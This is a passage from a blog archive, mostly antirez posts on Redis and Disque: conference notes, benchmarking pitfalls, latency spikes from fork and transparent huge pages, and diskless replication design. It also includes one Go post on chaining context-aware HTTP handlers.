(however you can ask, per message, to use asynchronous replication). It is possible to turn AOF (similarly to Redis) if desired, if the setup is likely to see a mass-reboot or alike. When the system is upgraded it is possible to write the AOF on disk just for the upgrade in order to don’t lose the state after a restart even if normally disk persistence is not used. Q: Is queueing partially/totally consistent across a group of servers or divided up for maximal throughput? Divided up for throughput, however message ordering is preserved in a best-effort way. Each message has an immutable “ctime” which is a wall-clock milliseconds timestamp plus an incremental ID for messages generated in the same millisecond. Nodes use this ctime in order to sort messages for delivery. Q: Can messages be dropped entirely under pressure? (aka best effort) No, however new messages may be refused if there is no space in memory. When 75% of memory is in use, nodes receiving messages try to externally replicate them, just to outer nodes, without taking a copy, but it many not work if also the other nodes are in an out of memory condition. Q: Can consumers and producers look into the queue, or is it totally opaque? There are commands to “PEEK” into queues. Q: Is queueing unordered, FIFO or prioritised? Best-effort FIFO-ish as explained. Q: Is there a broker or no broker? Broker as a set of masters. Clients can talk to whatever node they want. Q: Does the broker own independent, named queues (topics, routes etc) or do producers and consumers need to coordinate their connections? Named queues. Producers and consumers does not need to coordinate, since nodes use federation to discover routes inside the cluster and pass messages as they are needed by consumers. However the client is provided with hints in case it is willing to relocate where more consumers are. Q: Is message posting transactional? Yes, once the command to add a message returns, the system guarantees that there are the desired number of copies inside the cluster. Q: Is message receiving transactional? I guess not, since Disque will try to deliver the same message again if not acknowledged. Q: Do consumers block on receive or can they check for new messages? Both behaviors are supported, by default it blocks. Q: Do producers block on send or can they check for queue fullness? The producer may ask to get an error when adding a new message if the message length is already greater than a specified value in the local node it is pushing the message. Moreover the producer may ask to replicate the message asynchronously if it want to run away ASAP and let the cluster replicate the message in a best-effort way. There is no way to block the consumer if there are too many messages in the queue, and unblock it as soon as there are less messages. Q: Are delayed jobs supported? Yes, with second granularity, up to years. However they’ll use memory. Q: Can consumers and producers connect to different nodes? Yes. I hope with this post Disque is a bit less vaporware. Sure, without looking at the code it is hard to tell, but if your best feature is out you can already complain at least. How much of the above is already implemented and working well? Everything but AOF disk persistence, and a few minor things I want to refine in the API, so first release should not be too far, but working at it so rarely it is hard to get super fast. Comments

• Redis Conference 2015
  Antirez · Mar 10, 2015

  I’m back home, after a non easy trip, since to travel from San Francisco to Sicily is kinda NP complete: there are no solutions involving less than three flights. However it was definitely worth it, because the Redis Conference 2015 was very good, SF was wonderful as usually and I was able to meet with many interesting people. Here I’ll limit myself to writing a short account of the conference, but the trip was also an incredible experience because I discovered old and new friends, that are not just smart programmers, but also people I could imagine being my friends here in Sicily. I never felt alone while I was 10k kilometers away from my home. The conference was organized by RackSpace in a magistral way, with RedisLabs, Heroku, and Hulu, sponsoring it as well. I can’t say thank you enough times to everybody. Many people traveled from different parts of US and outside US to SF just for a couple of days, the venue was incredibly cool, and everything organized in the finest details. There was even an incredible cake for the Redis 6th birthday :-) However the killer features of the conference were, the number and the quality of the attenders (mostly actual Redis users), around 250 people, and the quality of the talks. The conference was free, even if it did not looked like a free conference at all, at any level. An incredible stage where to talk, very high quality food, plenty of space. All this honestly helped to create a setup for interesting exchanges. Everybody was using Redis for something, to get actual things done, and a lot of people shared their experiences. Among the talks I found Hulu and Heroku ones extremely interesting, because they covered details about different use cases and operational challenges. I also happen to agree with Bill Andersen (from RackSpace) vision on benchmarking Redis in a use-case oriented fashion, even if I missed the initial part of his talk because I was being interviewed, but the cool thing is, there will be recordings of the talks, so it will be possible for everybody to watch them when available at the conf site, which is, http://redisconference.com I was approached by several VeryLargeCompanies recounting stories of how they are using or are going to use Redis to do VeryLargeUseCase. Basically at this point Redis is everywhere. Redis Conference was a big gift to the Redis community… and in some way it shows very well how much there is a Redis outside Redis, I mean, at this point it has a life outside the borders of the server and client libraries repositories. It is a technology with many users that exchange ideas and that work with it in different ways: internally to companies to provide it as a technology to cover a number of use cases, and also in the context of cloud providers, that are providing it as a service to other companies. One thing I did not liked was Matt Stancliff talk. He tried to uncover different problems in the Redis development process, and finally proposed the community to replace me as the project leader, with him. In my opinion what Matt actually managed to do was to cherry-pick from my IRC, Twitter and Github issues posts in a very unfair way, in order to provide a bad imagine of myself. I think this was a big mistake. Moreover he did the talk as the last talk, not providing a right to reply. Matt and I happen to be persons with very different visions in many ways, however Redis is a project I invested many years into, and I’m not going to change my vision, I’m actually afraid I merged some code under pressure that I now find non well written and designed. What prevents Redis for becoming a monoculture is its license, if the community at some point really believes it is possible to do much better, or simply to do things in a very different way, some forks will appear, and darwinian selection will work to make sure we have the best Redis possible. Technical leadership is a reward for the work you are capable to do, is not asked at conferences. Moreover technology is not just code, is also about human interactions, and life is too short to interact with people we don’t share the same fundamental values of what a good behavior is. Well, even if this left some bitter taste, overall the Redis Conference was a magical experience, and even Matt talk actually helped me to understand what to do in the future and what I want for this project. Thank you to who made it possible and to all the attenders, I hope to see you again next year. Comments

• Side projects
  Antirez · Feb 26, 2015

  Today Redis is six years old. This is an incredible accomplishment for me, because in the past I switched to the next thing much faster. There are things that lasted six years in my past, but not like Redis, where after so much time, I still focus most of my everyday energies into. How did I stopped doing new things to focus into an unique effort, drastically monopolizing my professional life? It was a too big sacrifice to do, for an human being with a limited life span. Fortunately I simply never did this, I never stopped doing new things. If I look back at those 6 years, it was an endless stream of side projects, sometimes related to Redis, sometimes not. 1) Load81, children programming environment. 2) Dump1090, software defined radio ADS-B decoder. 3) A Javascript ray tracer. 4) lua-cmsgpack, C implementation of msgpack for Lua. 5) linenoise line editing library. Used in Redis, but well, was not our top priority. 6) lamernews, Redis-based HN clone. 7) Gitan, a small Git web interface. 8) shapeme, images evolver using simulated annealing. 9) Disque, a distributed queue (work in progress right now). And there are much more throw-away projects not listed here. The interesting thing is that many of the projects listed above are not random hacking efforts that had as an unique goal to make me happy. A few found their way into other people’s code. Because of the side projects, I was able to do different things when I was stressed and impoverished from doing again and again the same thing. I could later refocus on Redis, and find again the right motivations to have fun with it, because small projects are cool, but to work for years at a single project can provide more value for others in the long run. So currently I’m using something like 20% of my time to hack on Disque, a distributed message queue. So only 80% is left for Redis development, right? Wrong. The deal is between 80% of focus on Redis and 20% on something else, or 0% of focus on Redis in the long term, because in order to have a long term engagement, you need a long term alternative to explore new things. Side projects are the projects making your bigger projects possible. Moreover they are often the start of new interesting projects. Redis itself was a side project of LLOOGG. Sometimes you stop working at your main project because of side projects, but when this happens it is not because your side project captured your focus, it is because you managed to find a better use for your time, since the side project is more important, interesting, and compelling than the main project. Redis is six years old today, but is aging well: it continues to capture the attention of more developers, and it continues to improve in order to provide a bit more value to users every week. However for me, more users, more pull requests, and more pressure, does not mean to change my setup. What Redis is today is the sum of the work we put into it, and the endurance in the course of six years. To continue along the same path, I’ll make sure to have a few side projects for the next years. UPDATE: Damian Janowski provided an incredible present for the Redis community today, the renewed Redis.io web site is online now! http://redis.io. Thanks Damian! HN comments here: https://news.ycombinator.com/item?id=9112250 Comments

• Why we don’t have benchmarks comparing Redis with other DBs
  Antirez · Jan 29, 2015

  Redis speed could be one selling point for new users, so following the trend of comparative “advertising” it should be logical to have a few comparisons at Redis.io. However there are two problems with this. One is of goals: I don’t want to convince developers to adopt Redis, we just do our best in order to provide a suitable product, and we are happy if people can get work done with it, that’s where my marketing wishes end. There is more: it is almost always impossible to compare different systems in a fair way. When you compare two databases, to get fair numbers, they need to share *a lot*: data model, exact durability guarantees, data replication safety, availability during partitions, and so forth: often a system will score in a lower way than another system since it sacrifices speed to provide less “hey look at me” qualities but that are very important nonetheless. Moreover the testing suite is a complex matter as well unless different database systems talk the same exact protocol: differences in the client library alone can contribute for large differences. However there are people that beg to differ, and believe comparing different database systems for speed is a good idea anyway. For example, yesterday a benchmark of Redis and AerospikeDB was published here: http://lynnlangit.com/2015/01/28/lessons-learned-benchmarking-nosql-on-the-aws-cloud-aerospikedb-and-redis/. I’ll use this benchmark to show my point about how benchmarks are misleading beasts. In the benchmark huge EC2 instances are used, for some strange reason, since the instances are equipped with 244 GB of RAM (!). Those are R3.8xlarge instances. For my tests I’ll use a more real world m3.medium instance. Using such a beast of an instance Redis scored, in the single node case, able to provide 128k ops per second. My EC2 instance is much more limited, testing from another EC2 instance with Redis benchmark, not using pipelining, and with the same 100 bytes data size, I get 32k ops/sec, so my instance is something like 4 times slower, in the single process case. Let’s see with Redis INFO command how the system is using the CPU during this benchmark: # CPU used_cpu_sys:181.78 used_cpu_user:205.05 used_cpu_sys_children:0.12 used_cpu_user_children:0.87 127.0.0.1:6379> info cpu … after 10 seconds of test … # CPU used_cpu_sys:184.52 used_cpu_user:206.42 used_cpu_sys_children:0.12 used_cpu_user_children:0.87 Redis spent ~ 3 seconds of system time, and only ~ 1.5 seconds in user space. What happens here is that for each request the biggest part of the work is to perform the read() and write() call. Also since it’s one-query one-reply workload for each client, we pay a full RTT for each request of each client. Now let’s check what happens if I use pipelining instead, a feature very known and much exploited by Redis users, since it’s the only way to maximize the server usage, and there are usually a number of places in the application where you can perform multiple operations at a given time. With a pipeline of 32 operations the numbers changed drastically. My tiny instance was able to deliver 250k ops/sec using a single core, which is 25% of the *top* result using 32 (each faster) cores in the mentioned benchmark. Let’s look at the CPU time: # CPU used_cpu_sys:189.16 used_cpu_user:216.46 used_cpu_sys_children:0.12 used_cpu_user_children:0.87 127.0.0.1:6379> info cpu … after 10 seconds of test … # CPU used_cpu_sys:190.60 used_cpu_user:224.92 used_cpu_sys_children:0.12 used_cpu_user_children:0.87 This time we are actually using the database engine to serve queries with our CPU, we are not just losing much of the time context switching. We used ~1.5 seconds of system time, and 8.46 seconds into the Redis process itself. Using lower numbers in the pipeline gets us results in the middle. Pipeline of 4 = 100k ops/sec (that should translate to ~ 400k ops/sec in the bigger instance used in the benchmark), pipeline 8 = 180k ops/sec, and so forth. So basically it is not a coincidence that benchmarking Redis and AerospikeDB in this way we get remarkably similar results. More or less you are not testing the databases, but the network stack and the kernel. If the DB can serve queries using a read and a write system call without any other huge waste, this is what we get, and here the time to serve the actual query is small since we are talking about data fitting into memory (just a note, 10M keys of 100k in Redis will use a fraction of the memory that was allocated in those instances). However there is more about that. What about the operations we can perform? To test Redis doing GET/SET is like to test a Ferrari checking how good it is at cleaning the mirror when it rains. A fundamental part of the Redis architecture is that largely different operations have similar costs, so what about our huge Facebook game posting scores of the finished games to create the leaderboard? The same single process can do 110k ops/sec when the query is: ZADD myscores . But let’s demand more, what about estimating the cardinality with the HyperLogLog, at the same time adding new elements and reading the current guess with two redis-benchmark processes? Set size is 10 millions again. So during this test I spawned a benchmark executing PFADD with random elements of the set, and another doing PFCOUNT at the same time in the same HyperLogLog. Both scored simultaneously at 250k ops/sec, for a total of half a million ops per second with a single Redis process. In Redis doing complex operations is similar to pipelining. You want to do *more* for each read/write, otherwise your performance is dominated by I/O. Ok, so a few useful remarks. 1) GET/SET Benchmarks are not a great way to compare different database systems. 2) A better performance comparison is by use case. You say, for a given specific use case, using different data model, schema, queries, strategies, how much instances I need to handle the same traffic for the same app with two different database systems? 3) Test with instance types most people are going to actually use, huge instance types can mask inefficiencies of certain database systems, and is anyway not what most people are going to use. We’ll continue to optimize Redis for speed, and will continue to avoid posting comparative benchmarks. [Thanks to Amazon AWS for providing me free access to EC2] Comments

• Context-aware Handler chains
  Alex Edwards · Dec 03, 2014

  I've written a package for chaining context-aware handlers in Go, called Stack. It was heavily inspired by Alice. What do you mean by 'context-aware'? If you're using a middleware pattern to process HTTP requests in Go, you may want to share some data or context between middleware handlers and your application handlers. For example you might want to: Use some middleware to create a CRSF token, and later render the token to a template in your application handler. Or perhaps... Authenticate a user in one middleware handler, and then pass the user details to a second middleware handler which checks if the user is authorised to access the resource. There are a few packages that can help with this. Matt Silverlock has written a good article about some of the different approaches and tools – I won't rehash it here, instead I recommend giving it a read. Why make another package? Because none of the existing tools seemed ideal – at least to me. Gorilla Context is simple and very flexible, but relies on a global context map and you remembering to clear the context after each request. (It's still my favourite though). Goji provides request-scoped context, which is good, but it's part of a larger package and ties you into using the Goji router. The same is true of Gocraft/web, which also relies on reflection tricks under the hood that I struggle to wrap my head around. I realised that the only time you need to worry about context is when you're chaining handlers together. So I looked at my favorite tool for chaining handlers, Alice, and began adapting that to create Stack. I wanted the package to: Do a simple job, and then get out of the way. Provide a request-scoped context map. Let you create stackable, reusable, handler chains in the Alice style. Be as type-safe at compile time as it possibly could be. Be simple to understand and non-magic. Operate nicely with existing standards. In particular: The handler chain must satisfy the http.Handler interface, so it can be used with the http.DefaultServeMux. It should be compatible with the func(http.Handler) http.Handler pattern commonly used by third-party middleware packages. The full documentation for Stack is here, but here's a quick example of how to use it: File: main.go package main import ( "fmt" "github.com/alexedwards/stack" "github.com/goji/httpauth" "net/http" ) func main() { // Setup goji/httpauth, some third-party middleware authenticate := stack.Middleware(httpauth.SimpleBasicAuth("user", "pass")) // Create a handler chain and register it with the DefaultServeMux http.Handle("/", stack.New(authenticate, tokenMiddleware).Then(tokenHandler)) http.ListenAndServe(":3000", nil) } func tokenMiddleware(ctx stack.Context, next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { // Add a value to Context with the key 'token' ctx["token"] = "c9e452805dee5044ba520198628abcaa" next.ServeHTTP(w, r) }) } func tokenHandler(ctx stack.Context) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { // Retrieve the token from Context and print it fmt.Fprintf(w, "Token is: %s", ctx["token"]) }) } $ curl -i user:pass@localhost:3000 HTTP/1.1 200 OK Content-Length: 41 Content-Type: text/plain; charset=utf-8 Token is: c9e452805dee5044ba520198628abcaa $ curl -i user:wrongpass@localhost:3000 HTTP/1.1 401 Unauthorized Content-Length: 13 Content-Type: text/plain; charset=utf-8 Www-Authenticate: Basic realm="Restricted" Unauthorized If you found this post useful, you might like to subscribe to my RSS feed.

• Redis latency spikes and the Linux kernel: a few more details
  Antirez · Nov 03, 2014

  Today I was testing Redis latency using m3.medium EC2 instances. I was able to replicate the usual latency spikes during BGSAVE, when the process forks, and the child starts saving the dataset on disk. However something was not as expected. The spike did not happened because of disk I/O, nor during the fork() call itself. The test was performed with a 1GB of data in memory, with 150k writes per second originating from a different EC2 instance, targeting 5 million keys (evenly distributed). The pipeline was set to 4 commands. This translates to the following command line of redis-benchmark: ./redis-benchmark -P 4 -t set -r 5000000 -n 1000000000 Every time BGSAVE was triggered, I could see ~300 milliseconds latency spikes of unknown origin, since fork was taking 6 milliseconds. Fortunately Redis has a software watchdog feature, that is able to produce a stack trace of the process during a latency event. It’s quite a simple trick but works great: we setup a SIGALRM to be delivered by the kernel. Each time the serverCron() function is called, the scheduled signal is cleared, so actually Redis never receives it if the control returns fast enough to the Redis process. If instead there is a blocking condition, the signal is delivered by the kernel, and the signal handler prints the stack trace. Instead of getting stack traces with the fork call, the process was always blocked near MOV* operations happening in the context of the parent process just after the fork. I started to develop the theory that Linux was “lazy forking” in some way, and the actual heavy stuff was happening later when memory was accessed and pages had to be copy-on-write-ed. Next step was to read the fork() implementation of the Linux kernel. What the system call does is indeed to copy all the mapped regions (vm_area_struct structures). However a traditional implementation would also duplicate the PTEs at this point, and this was traditionally performed by copy_page_range(). However something changed… as an optimization years ago: now Linux does not just performs lazy page copying, as most modern kernels. The PTEs are also copied in a lazy way on faults. Here is the top comment of copy_range_range(): * Don't copy ptes where a page fault will fill them correctly. * Fork becomes much lighter when there are big shared or private * readonly mappings. The tradeoff is that copy_page_range is more * efficient than faulting. Basically as soon as the parent process performs an access in the shared regions with the child process, during the page fault Linux does the big amount of work skipped by fork, and this is why I could see always a MOV instruction in the stack trace. While this behavior is not good for Redis, since to copy all the PTEs in a single operation is more efficient, it is much better for the traditional use case of fork() on POSIX systems, which is, fork()+exec*() in order to spawn a new process. This issue is not EC2 specific, however virtualized instances are slower at copying PTEs, so the problem is less noticeable with physical servers. However this is definitely not the full story. While I was testing this stuff in my Linux box, I remembered that using the libc malloc, instead of jemalloc, in certain conditions I was able to measure less latency spikes in the past. So I tried to check if there was some relation with that. Indeed compiling with MALLOC=libc I was not able to measure any latency in the physical server, while with jemalloc I could observe the same behavior observed with the EC2 instance. To understand better the difference I setup a test with 15 million keys and a larger pipeline in order to stress more the system and make more likely that page faults of all the mmaped regions could happen in a very small interval of time. Then I repeated the same test with jemalloc and libc malloc: bare metal, 675k/sec writes to 15 million keys, jemalloc: max spike 339 milliseconds. bare metal, 675k/sec writes to 15 million keys, malloc: max spike 21 milliseconds. I quickly tried to replicate the same result with EC2, same stuff, the spike was a fraction with malloc. The next logical thing after this findings is to inspect what is the difference in the memory layout of a Redis system running with libc malloc VS one running with jemalloc. The Linux proc filesystem is handy to investigate the process internals (in this case I used /proc//smaps file). Jemalloc memory is allocated in this region: 7f8002c00000-7f8062400000 rw-p 00000000 00:00 0 Size: 1564672 kB Rss: 1564672 kB Pss: 1564672 kB Shared_Clean: 0 kB Shared_Dirty: 0 kB Private_Clean: 0 kB Private_Dirty: 1564672 kB Referenced: 1564672 kB Anonymous: 1564672 kB AnonHugePages: 1564672 kB Swap: 0 kB KernelPageSize: 4 kB MMUPageSize: 4 kB Locked: 0 kB VmFlags: rd wr mr mw me ac sd While libc big region looks like this: 0082f000-8141c000 rw-p 00000000 00:00 0 [heap] Size: 2109364 kB Rss: 2109276 kB Pss: 2109276 kB Shared_Clean: 0 kB Shared_Dirty: 0 kB Private_Clean: 0 kB Private_Dirty: 2109276 kB Referenced: 2109276 kB Anonymous: 2109276 kB AnonHugePages: 0 kB Swap: 0 kB KernelPageSize: 4 kB MMUPageSize: 4 kB Locked: 0 kB VmFlags: rd wr mr mw me ac sd Looks like here there are a couple different things. 1) There is [heap] in the first line only for libc malloc. 2) AnonHugePages field is zero for libc malloc but is set to the size of the region in the case of jemalloc. Basically, the difference in latency appears to be due to the fact that malloc is using transparent huge pages, a kernel feature that allows to transparently glue multiple normal 4k pages into a few huge pages, which are 2048k each. This in turn means that copying the PTEs for this regions is much faster. EDIT: Unfortunately I just spotted that I'm totally wrong, the huge pages apparently are only used by jemalloc: I just mis-read the outputs since this seemed so obvious. So on the contrary, it appears that the high latency is due to the huge pages thing for some unknown reason. So actually it is malloc that, while NOT using huge pages, is going much faster. I've no idea about what is happening here, so please disregard the above conclusions. Meanwhile for low latency applications you may want to build Redis with “make MALLOC=libc”, however make sure to use “make distclean” before, and be aware that depending on the work load, libc malloc suffers fragmentation more than jemalloc. More news soon… EDIT2: Oh wait... since the problem is huge pages, this is MUCH better, since we can disable it. And I just verified that it works: echo never > /sys/kernel/mm/transparent_hugepage/enabled This is the new Redis mantra apparently. UPDATE: While this seemed unrealistic to me, I experimentally verified that the huge pages memory spike is due to the fact that with 50 clients writing at the same time, with N queued requests each, the Redis process can touch in the space of *a single event loop iteration* all the process pages, so its copy-on-writing the entire process address space. This means that not only huge pages are horrible for latency, but that are also horrible for memory usage. Comments

• Redis latency spikes and the 99th percentile
  Antirez · Oct 30, 2014

  One interesting thing about the Stripe blog post about Redis is that they included latency graphs obtained during their tests. In order to persist on disk Redis requires to call the fork() system call. Usually forking using physical servers, and most hypervisors, is fast even with big processes. However Xen is slow to fork, so with certain EC2 instance types (and other virtual servers providers as well), it is possible to have serious latency spikes every time the parent process forks in order to persist on disk. The Stripe graph is pretty clear in this regard. img://antirez.com/misc/stripe-latency.png As you can guess, if you perform a latency test during the fork, all the requests crossing the moment the parent process forks will be delayed up to one second (taking as example the graph above, not sure about what was the process size nor the EC2 instance). This will produce a number of samples with high latency, and will affect the 99th percentile result. To change instance type, configuration, setup, or whatever in order to improve this behavior is a good idea, and there are use cases where even a single request having a too high latency is unacceptable. However apparently it is not obvious how latency spikes of 1 second every 30 minutes (or more, if you use AOF with the right rewrite triggers) is very different from latency spikes which are evenly distributed in the set of requests. With evenly distributed spikes, if the generation of a page needs to perform a number of requests to a Redis server in order to create the output, it is very likely that a page view will incur in the latency penalty: this impacts the quality of service in a great way potentially, check this link: http://latencytipoftheday.blogspot.it/2014/06/latencytipoftheday-most-page-loads.html. However 1 second of latency every 30 minutes run is a completely different thing. For once, the percentile with good latency gets better *as the number of requests increase*, since the more the requests are, the more this second of latency will be unlikely to get over-represented in the samples (if you have just 1 request per minute, and one of those requests happen to hit the high latency, it will affect the 99.99th percentile much more than what happens with 100 requests per second). Second: most page views will be unaffected. The only users that will see the 1 second delay are the ones that make a request crossing the fork call. All the other requests will experience an extremely low probability of hitting a request that has a latency which is significantly worse than the average latency. Also note that a page view crossing the fork time, even when composed of 100 requests, can’t be delayed for more than a second, since the requests are completed as soon as the fork() call terminates. The bottom line here is that, if there are hard latency requirements for each single request, it is clear that a setup where a request can be delayed 1 second from time to time is a big problem. However when the goal is to provide a good quality of service, the distribution of the latency spikes have a huge effect on the outcome. Redis latency spikes due to fork on Xen are isolated points in the line of time, so they affect a percentage of page views, even when the page views are composed of a big number of Redis requests, which is proportional to the latency spike total time percentage, which is, 1 second every 1800 seconds in this case, so only the 0.05% of the page views will be affected. Latency characteristics are hard to capture with a single metric: the full percentile curve and the distribution of the spikes, can provide a better picture. In general good rule of thumbs are a good way to start a research, and in general it is true that the average latency is a poor metric. However to promote a rule of thumb into an absolute truth has also its disadvantages, since many complex things remain complex, and in need for close inspection, regardless of our willingness to over simplify them. At the same time, fork delays in EC2 instances are one of the worst experiences for Redis users in one of the most popular runtime environments today, so I’m starting to test Redis with EC2 regularly now: we’ll soon have EC2 specific optimization pages on the Redis official documentation, and a way to operate master-slaves replicas with persistence disabled in a safer way. If you need EC2 + Redis master with persistence disabled now, the simplest to deploy “quick fix” is to disable automatic restarts of Redis instances, and use Sentinel for failover, so that crashed masters will not automatically return available, and will be failed over by Sentinel. The system administrator can restart the master manually after checking that the failover was successful and there is a new active master. EDIT: Make sure to check the Hacker News thread that contains interesting information about EC2, Xen and fork time: https://news.ycombinator.com/item?id=8532851. Also not all the EC2 instances are the same, and certain types provide great fork time on pair with bare metal systems: https://redislabs.com/blog/testing-fork-time-on-awsxen-infrastructure#.VFJQ-JPF8yF Comments

• This is why I can’t have conversations using Twitter
  Antirez · Oct 29, 2014

  Yesterday Stripe engineers wrote a detailed report of why they had an issue with Redis. This is very appreciated. In the Hacker News thread I explained that because now we have diskless replication (http://antirez.com/news/81) now persistence is no longer mandatory for people having a master-slaves replicas set. This changes the design constraints: now that we can have diskless replicas synchronization, it is worth it to better support the Stripe (ex?) use case of replicas set with persistence turned down, in a more safe way. This is a work in progress effort. In the same post Stripe engineers said that they are going to switch to PostgreSQL for the use case where they have issues with Redis, which is a great database indeed, and many times if you can go with the SQL data model and an on-disk database, it is better to use that instead of Redis which is designed for when you really want to scale to a lot of complex operations per second. Stripe engineers also said that they measured the 99th percentile and it was better with PostgreSQL compared to Redis, so in a tweet @aphyr wrote: “Note that *synchronous* Postgres replication *between AZs* delivers lower 99th latencies than asynchronous Redis” And I replied: “It could be useful to look at average latency to better understand what is going on, since I believe the 99% percentile is very affected by the latency spikes that Redis can have running on EC2.” Which means, if you have also the average, you can tell if the 99th percentile is ruined (or not) by latency spikes, that many times can be solved. Usually it is as simple as that: if you have a very low average, but the 99th percentile is bad, likely it is not that Redis is running slow because, for example, operations performed are very time consuming or blocking, but instead a subset of queries are served slow because of the usual issues in EC2: fork time in certain instances, remote disks I/O, and so forth. Stuff that you can likely address, since for example, there are instance types without the fork latency issue. For half the Twitter IT community, my statement was to promote the average latency as the right metric over 99th percentiles: "averages are the worst possible metric for latency. No latency I've ever seen falls on a bell curve. Averages give nonsense." "You have clearly not understood how the math works or why tail latencies matter in dist sys. I think we're done here." “indeed; the problem is that averages are not robust in the presence of outliers” Ehm, who said that average is a good metric? I proposed it to *detect* if there are or not big outliers. So during what was supposed to be a normal exchange, I find after 10 minutes my Twitter completely full of people that tell me that I’m an idiot to endorse averages as The New Metric For Latency in the world. Once you get the first retweets, you got more and more. Even a notable builder of other NoSQL database finds the time to lecture me a few things via Twitter: I reply saying that clearly what I wrote was that if you have 99th + avg you have a better picture of the curve and can understand if the problem is the Redis spikes on EC2, but magically the original tweet gets removed, so my tweets are now more out of context. My three tweets: 1. “may point was, even if in the internet noise I'm not sure if it is still useful, that avg helps to understand why (…)” 2. “the 99% percentile is bad. If avg is very good but 99% percentile is bad, you can suspect a few very bad samples” 3. “this is useful with Redis, since with proper config sometimes you can improve the bad latency samples a lot.” Guess what? There is even somebody that isolated tweet #2 that was the continuation of “to understand why the 99% percentile is bad” (bad as in, is not providing good figures), and just read it out of context: “the 99% percentile is bad”. Once upon a time, people used to argue for days on usenet, but at least there was, most of the times, an argument against a new argument and so forth, with enough text and context to have a normal condition. This instead is just amplification of hate and engineering rules 101 together. 99th latency is the right metric and average is a poor one? Make sure to don’t talk about averages even in a context where it makes sense otherwise you get 10000 shitty replies. What to do with that? Now a good thing about me is that I’m not much affected by all this personally, but it is also clear that because I use Twitter for a matter of work, in order to inform people of what is happening with Redis, this is not a viable working environment. For example, latency: I care a lot about latency, so many efforts were done during the years in order to improve it (including diskless replication). We have monitoring as well in order to understand if and why there are latency spikes, Redis can provide you an human readable report of what is happening inside of it by monitoring different execution paths. After all this work, what you get instead is the wrong message retweeted one million times, which does not help. Most people will not follow the tweets to make an idea themselves, the reality is, at this point, rewritten: I said that average percentile is good and I don’t realize that you should look at the long tail. Next time I’ll talk about latency, for many people, I’ll be the one that has a few non clear ideas about it, so who knows what I’m talking about or what I’m doing? At the same time Twitter is RSS for humans, it is extremely useful to keep many people updated about what I love to do, which is, to work to my open source project that so far I tried to develop with care. So I’m trying to think about what a viable setup can be. Maybe I can just blog more, and use the Redis mailing list more, and use Twitter just to link stuff so that interested people can read, and interested people can argue and have real and useful discussions. I’ve a lot of things to do about Redis, for the users that have a good time with it, and a lot of things to do for the users that are experiencing problems. I feel like my time is best spent hacking instead of having non-conversations on Twitter. I love to argue, but this is just a futile exercise. Comments

• Diskless replication: a few design notes.
  Antirez · Oct 27, 2014

  Almost a month ago a number of people interested in Redis development met in London for the first Redis developers meeting. We identified together a number of features that are urgent (and are now listed in a Github issue here: https://github.com/antirez/redis/issues/2045), and among the identified issues, there was one that was mentioned multiple times in the course of the day: diskless replication. The feature is not exactly a new idea, it was proposed several times, especially by EC2 users that know that sometimes it is not trivial for a master to provide good performances during slaves synchronization. However there are a number of use cases where you don’t want to touch disks, even running on physical servers, and especially when Redis is used as a cache. Redis replication was, in short, forcing users to use disk even when they don’t need or want disk durability. When I returned back home I wanted to provide a quick feedback to the developers that attended the meeting, so the first thing I did was to focus on implementing the feature that seemed the most important and non-trivial among the list of identified issues. In the next weeks the attention will be moved to the Redis development process as well: the way issues are handled, how new ideas can be proposed to the Redis project, and so forth. Sorry for the delay about these other important things, for now what you can get is, some code at least ;-) Diskless replication provided a few design challenges. It looks trivial but it is not, so since I want to blog more, I thought about documenting how the internals of this feature work. I’m sure that a blog post may make the understanding and adoption of the new feature simpler. How replication used to work === Newer versions of Redis are able, when the connection with the master is lost, to reconnect with the master, and continue the replication process in an incremental way just fetching the differences accumulated so far. However when a slave is disconnected for a long time, or restarted, or it is a new slave, Redis requires it to perform what is called a “full resynchronization”. It is a trivial concept, and means: in order to setup this slave, let’s transfer *all* the master data set to the slave. It will flush away its old data, and reload the new data from scratch, making sure it is running an exact copy of master’s data. Once the slave is an exact copy of the master, successive changes are streamed as a normal Redis commands, in an incremental way, as the master data set itself gets modified because of write commands sent by clients. The problem was the way this initial “bulk transfer” needed for a full resynchronization was performed. Basically a child process was created by the master, in order to generate an RDB file. When the child was done with the RDB file generation, the file was sent to slaves, using non blocking I/O from the parent process. Finally when the transfer was complete, slaves could reload the RDB file and go online, receiving the incremental stream of new writes. However this means that from the master point of view, in order to perform a full sync, we need: 1) To write the RDB on disk. 2) To load back the RDB from disk in order to send it to slaves. “2” is not great but “1” is much worse. If AOF is active at the same time, for example, the AOF fsync() can be delayed a lot by the child writing to the disk as fast as possible. With the wrong setup, especially with non-local disks, but sometimes even because of a non perfect kernel parameters tuning, the disk pressure was cause of latency spikes that are hard to deal with. Partial resynchronizations introduced with Redis 2.8 mitigated this problem a bit, but from time to time you have to restart your slaves, or they go offline for too much time, so it is impossible to avoid full resynchronizations. At the same time, this process had a few advantages. The RDB saving code was reused for replication as well, making the replication code simpler. Moreover while the child was producing the RDB file, new slaves could attach, and put in a queue: when the RDB was ready, we could feed multiple slaves at the same time. All in all in many setups it works great and allows to synchronize a number of slaves at the same time. Also many users run with RDB persistence enabled in the master side, but not AOF, so anyway to persist on disk was happening from time to time. Most bare-metal users don’t have any latency at all while Redis is persisting, moreover disks, especially local disks, have easy to predict performances: once the child starts to save, you don’t really need to check for timeouts or if it is taking too much time, it will end eventually, and usually within a reasonable amount time. For this reasons, disk-backed replication is *still* the default replication strategy, and there are no plans to remove it so far, but now we have an alternative in order to serve the use cases where it was not great. So what is diskless replication? It is the idea that you can write directly from the child process to the slaves, via socket, without any intermediate step. Sockets are not disks === The obvious problem about diskless replication is that writing to disks is different than writing to sockets. To start the API is different, since the RDB code used to write to C FILE pointers, while to write to sockets is a matter of writing to file descriptors. Moreover disk writes don’t fail if not for hard I/O errors (for example if the disk is full), so when a write fails, you can consider the process aborted. For sockets it is different since writes can be delayed since the receiver is slow and the local kernel buffer is full. Another interesting issue is that there is to deal with timeouts: what about the receiving side to experience a failure so that it stops reading from us? Or just the TCP connection is dead but we don’t get resets, and so forth. We can’t take the child sending the RDB file to slaves active forever, there must be a way to detect timeouts. Fortunately modifying the RDB code to write to file descriptors was trivial, because for an entirely different problem (MIGRATE/RESTORE for Redis Cluster) the code was already using an abstraction called “rio” (redis I/O), that abstracts the serialization and deserialization of Redis values in RDB format, so you can write a value to the disk, or to an in memory buffer. What I did was to support a new “rio” target, called fdset: a set of file descriptors. This is because as I’ll write later, we need to write to multiple file descriptors at the same time. However this was not enough. One of the main design tradeoffs was to understand if the in memory RDB transfer would happen in one of the following two ways: 1) Way 